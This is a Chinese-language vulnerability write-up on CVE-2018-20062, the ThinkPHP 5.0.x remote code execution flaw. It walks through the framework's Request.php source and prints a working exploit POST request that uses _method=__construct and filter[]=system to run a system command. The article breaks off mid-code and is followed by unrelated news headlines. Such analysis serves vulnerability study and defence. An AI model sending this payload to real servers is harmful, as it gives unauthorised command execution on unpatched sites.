ThinkPHP5 5.0.23 RCE 漏洞原理与复现过程
ThinkPHP5 5.0.23 RCE 漏洞原理与复现过程一、漏洞基本信息漏洞编号:CVE-2018-20062漏洞类型:未授权远程代码执行(RCE)影响版本ThinkPHP 5.0.x ≤5.0.23ThinkPHP 5.1.x 5.1.31漏洞简述:框架在处理_method伪请求方法时,对用户可控参数过滤不严,攻击者可以调用Request类任意方法,配合filter参数调用call_user_func,执行任意 PHP 函数,实现系统命令执行,无需登录。二、漏洞基本原理ThinkPHP 的_method参数:浏览器默认只能发 GET、POST 请求。但是 REST 接口需要 PUT、DELETE。ThinkPHP 为了方便,允许POST 请求里带一个参数_method,用来伪装成别的请求方式。比如 POST 提交_method=put,框架就认为这次是 PUT 请求。底层逻辑:把_method的值,当成一个方法名,去调用对应的处理方法。这里我们可以来看一下原版Request.php中对应的获取请求类型的方法:/** * 当前的请求类型 * @access public * @param bool $method true 获取原始请求类型 * @return string */publicfunctionmethod($method=false){if(true===$method){// 获取原始请求类型return$this-server('REQUEST_METHOD')?:'GET';}elseif(!$this-method){if(isset($_POST[Config::get('var_method')])){$this-method=strtoupper($_POST[Config::get('var_method')]);$this-{$this-method}($_POST);}elseif(isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])){$this-method=strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);}else{$this-method=$this-server('REQUEST_METHOD')?:'GET';}}return$this-method;// 返回请求类型}通过分析源码我们可以发现 该方法在:if(isset($_POST[Config::get('var_method')]))的时候,设置了$this-method为 POST提交参数中的Config::get('var_method'),在config.php配置文件中配置默认值就是字符串_method当前端传入的参数_method=__construct时,$this-method = "__CONSTRUCT"之后通过$this-{$this-method}($_POST);调用__construct这个魔术方法,把整个$_POST数组作为参数传给__construct()如果在发送POST数据包是参数是:POST /index.php?s=captcha HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded _method=__constructfilter[]=systemmethod=getserver[REQUEST_METHOD]=whoami(记下这个EXP请求的参数格式,后面会用到),那么$_POST原始数组:$_POST=['_method'='__construct','filter'=["system"],'method'="get",'server'=['REQUEST_METHOD'='whoami']];漏洞点就在这里:框架没有校验这个_method能不能是 PHP 类的魔术方法。在 PHP 类中存在一个魔术方法__construct这是类的构造函数。只要创建这个类的新对象,就会自动执行__construct()。但是!PHP 还有一个特性:你可以手动指定,直接去调用对象-__construct(),不用新建对象。在Request.php中__construct()方法的代码如下:/** * 构造函数 * @access protected * @param array $options 参数 */protectedfunction__construct($options=[]){foreach($optionsas$name=$item){if(property_exists($this,$name)){$this-$name=$item;}}if(is_null($this-filter)){$this-filter=Config::get('default_filter');}// 保存 php://input$this-input=file_get_contents('php://input');}该方法会循环遍历$options数组,通过property_exists方法判断 Request 类有没有对应的这个成员属性,如果有则将其值进行覆盖,property_exists($this,'_method'):Request 类没有定义_method这个成员属性,所以循环遇到_method这一项直接跳过,不会覆盖。覆盖过程如下:property_exists($this,'filter')为 true -$this-filter = ["system"];property_exists($this,'method')为 true -$this-method = "get";property_exists($this,'server')为 true -$this-server = ['REQUEST_METHOD'='whoami'];被覆盖的 filter 属性值会作为全局过滤函数使用。在method(true) → server('REQUEST_METHOD') → input() → filterValue()的调用链中:// thinkphp/library/think/Request.phpprotectedfunctiongetFilter($filter,$default){if(is_null($filter)){$filter=[];}else{$filter=$filter?:$this-filter;// 使用被覆盖的 filter 值}$filter[]=$default;return$filter;}publicfunctionserver($name='',$default=null,$filter=''){if(empty($this-server)){$this-server=$_SERVER;}if(is_array($name)){return$this-server=array_merge($this-server,$name);}return$this-input($this-server,false===$name?false:strtoupper($name),$d

相关新闻

MemOS 本地插件 Embedding 层深度解析:多 Provider 统一门面、向量缓存与容错设计

MemOS 本地插件 Embedding 层深度解析:多 Provider 统一门面、向量缓存与容错设计

人工智能大模型Agent 记忆AI AgentRAG知识图谱dsh-plugin 【免费下载链接】MemOS Self-evolving memory OS for LLM & AI Agents: ultra-persistent memory, hybrid-retrieval, and cross-task skill reuse, with 35.24% token savings and DeepSeek Harness support. 项目…

2026/9/24 6:11:15 阅读更多 →
AI 智能体时代小红书运营:跳出工具使用者,成为 Agent 设计者

AI 智能体时代小红书运营:跳出工具使用者,成为 Agent 设计者

QClaw 这类低门槛 AI 智能体工具走红,让很多小红书运营畅想内容自动化场景。但技术层面的自动化能力,无法替代人工管控,平台规则、品牌舆情风险、人工审核依旧不能省去。用好 AI 的核心,是搭建可控 AI 工作流与 Agent;…

2026/9/24 6:11:15 阅读更多 →
ESP32-S3-WROOM-1固件烧录避坑指南:从bin文件到Flash下载工具全解析

ESP32-S3-WROOM-1固件烧录避坑指南:从bin文件到Flash下载工具全解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/24 6:11:15 阅读更多 →

最新新闻

Rust+Tauri数据库工具DBX:20MB无感交互与本地AI SQL实践

Rust+Tauri数据库工具DBX:20MB无感交互与本地AI SQL实践

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/24 7:03:48 阅读更多 →
codeburn sync 技术全解:从 OIDC/PKCE 认证到 OTLP 遥测推送的本地优先架构

codeburn sync 技术全解:从 OIDC/PKCE 认证到 OTLP 遥测推送的本地优先架构

【免费下载链接】codeburn Free, local tool to track AI coding token usage and cost across 37 tools and agents (Claude Code, Cursor, Codex, Gemini and more), by model, project, and task. npx codeburn 项目地址: https://gitcode.com/gh_mirrors/co/cod…

2026/9/24 7:03:48 阅读更多 →
Buck芯片参数耦合实操指南:电感选型、BOOT电阻与COT架构

Buck芯片参数耦合实操指南:电感选型、BOOT电阻与COT架构

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/24 7:03:48 阅读更多 →
Formily Reactive React 的 observer 与 Observer:让函数组件与响应式数据深度绑定

Formily Reactive React 的 observer 与 Observer:让函数组件与响应式数据深度绑定

前端UI组件 【免费下载链接】formily 📱🚀 🧩 Cross Device & High Performance Normal Form/Dynamic(JSON Schema) Form/Form Builder -- Support React/React Native/Vue 2/Vue 3 项目地址: https://gitcode.com/gh_mirrors…

2026/9/24 7:03:48 阅读更多 →
Sliver 植入体 Pivot 链传输客户端源码解析:pivotclients 包架构、密钥交换与隧道协商机制

Sliver 植入体 Pivot 链传输客户端源码解析:pivotclients 包架构、密钥交换与隧道协商机制

网络安全 【免费下载链接】sliver Adversary Emulation Framework 项目地址: https://gitcode.com/gh_mirrors/sl/sliver 点击查看 免费下载 导读 本文以 Sliver 对抗仿真框架中 implant/sliver/transports/pivotclients 包为核心,深入剖析植入体&…

2026/9/24 7:03:48 阅读更多 →
海信U7T Pro发布:首发玲珑真彩背光2.0 +真彩黑曜屏,年度影像旗舰登场

海信U7T Pro发布:首发玲珑真彩背光2.0 +真彩黑曜屏,年度影像旗舰登场

RGB-Mini LED影像实力再攀高峰!海信新一代年度影像旗舰U7T Pro重磅亮相。9月23日海信电视秋季新品发布会,海信U7T Pro摒弃常规参数小幅迭代,以原生色彩为核心,完成全链路、全场景画质代际革新。新机搭载全新一代玲珑真彩背光2.0和…

2026/9/24 7:02:47 阅读更多 →

日新闻

基于YOLOv8的渔船作业监控系统:从环境搭建到边缘部署全流程

基于YOLOv8的渔船作业监控系统:从环境搭建到边缘部署全流程

简介:这是一套面向计算机、人工智能、自动化等专业学生与教师的毕业设计级项目资源,围绕YOLOv8实现渔船作业监控系统,可用于毕设、课程设计、大作业或项目立项演示。压缩包共97个文件,约24.21MB,以70个Python源码文件为…

2026/9/24 0:00:19 阅读更多 →
单细胞注释实战:基于Scanpy的标记基因与参考映射流程解析

单细胞注释实战:基于Scanpy的标记基因与参考映射流程解析

简介:一份基于单细胞RNA测序数据的细胞类型注释算法研究Python毕业设计源码,针对计算机相关专业正在做毕设或需要项目实战的学习者,可用于课程设计与期末大作业。项目代码完整、经导师指导评审通过,可直接运行,覆盖数据…

2026/9/24 0:00:19 阅读更多 →
C#源生成器实战:用增量生成器替代反射,告别AOT崩溃

C#源生成器实战:用增量生成器替代反射,告别AOT崩溃

第一次在项目里被反射卡住,是在一个老旧的WinForms模块里:几十个类依赖PropertyChanged通知,运行时反射读属性、发通知,每次启动慢半拍不说,一上.NET Native/AOT裁剪模式几乎全面崩盘。后来我把这段逻辑全部改成C#源生…

2026/9/24 0:00:19 阅读更多 →

周新闻

Flutter for OpenHarmony游戏卡片渐变背景实战:从原理到性能优化

Flutter for OpenHarmony游戏卡片渐变背景实战:从原理到性能优化

直接铺开项目本身吧。这几个月我一直在折腾一件事:用Flutter给OpenHarmony做一款游戏集合类的App,说白了就是把若干小游戏塞进一个壳里,用统一入口分发。这个方向本身不算新鲜,真正让我花了不少心思的,是首页那堆游戏卡…

2026/9/23 4:55:02 阅读更多 →
Word表格编号全攻略:从列表编号到题注交叉引用

Word表格编号全攻略:从列表编号到题注交叉引用

写Word文档,最让人头疼的往往是那些“看起来不起眼”的小问题。比如表格编号这事:今天在表后面多加了两个空白行,明天给客户交稿前发现整个章节的编号全部错位,光是挨个改序号就能耗掉大半个下午。我前阵子帮人整理一份上百页的技…

2026/9/23 4:49:06 阅读更多 →
从第一个站到第二个站:独立开发者的静态网站选型与落地实践

从第一个站到第二个站:独立开发者的静态网站选型与落地实践

1. 项目概述1.1 核心需求解析做独立开发者这几年,说实话,第一个网站上线的那天晚上我兴奋得没睡着。但等它跑了半年,流量惨淡、功能臃肿、代码自己都懒得看第二遍之后,我才慢慢琢磨明白一个道理:第一个网站是练手&…

2026/9/23 9:53:41 阅读更多 →

月新闻

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能分类:[AI/大模型]细分主题:AI 增强型 CI/CD 流水线自动化与 GitOps 实践:Agent 工作流、工具调用与任务拆解:从原型到生产的验收清单很多团队在尝试用大…

2026/9/23 9:53:40 阅读更多 →
容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场分类:[工程技术]细分主题:Kubernetes 生产环境运维与排障实战:可复制的项目复盘模板与决策记录大部分团队的事故复盘报告,最后都变成了躺在 Confluence 或钉…

2026/9/23 9:53:40 阅读更多 →
容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步

容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步

容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步分类:[工程技术]细分主题:Docker 容器化技术与镜像安全管理:核心链路的逐步实现与关键代码取舍面对一个积累了五六年历史包袱的单体架构应用(包含 Web 接口、后台…

2026/9/23 9:53:40 阅读更多 →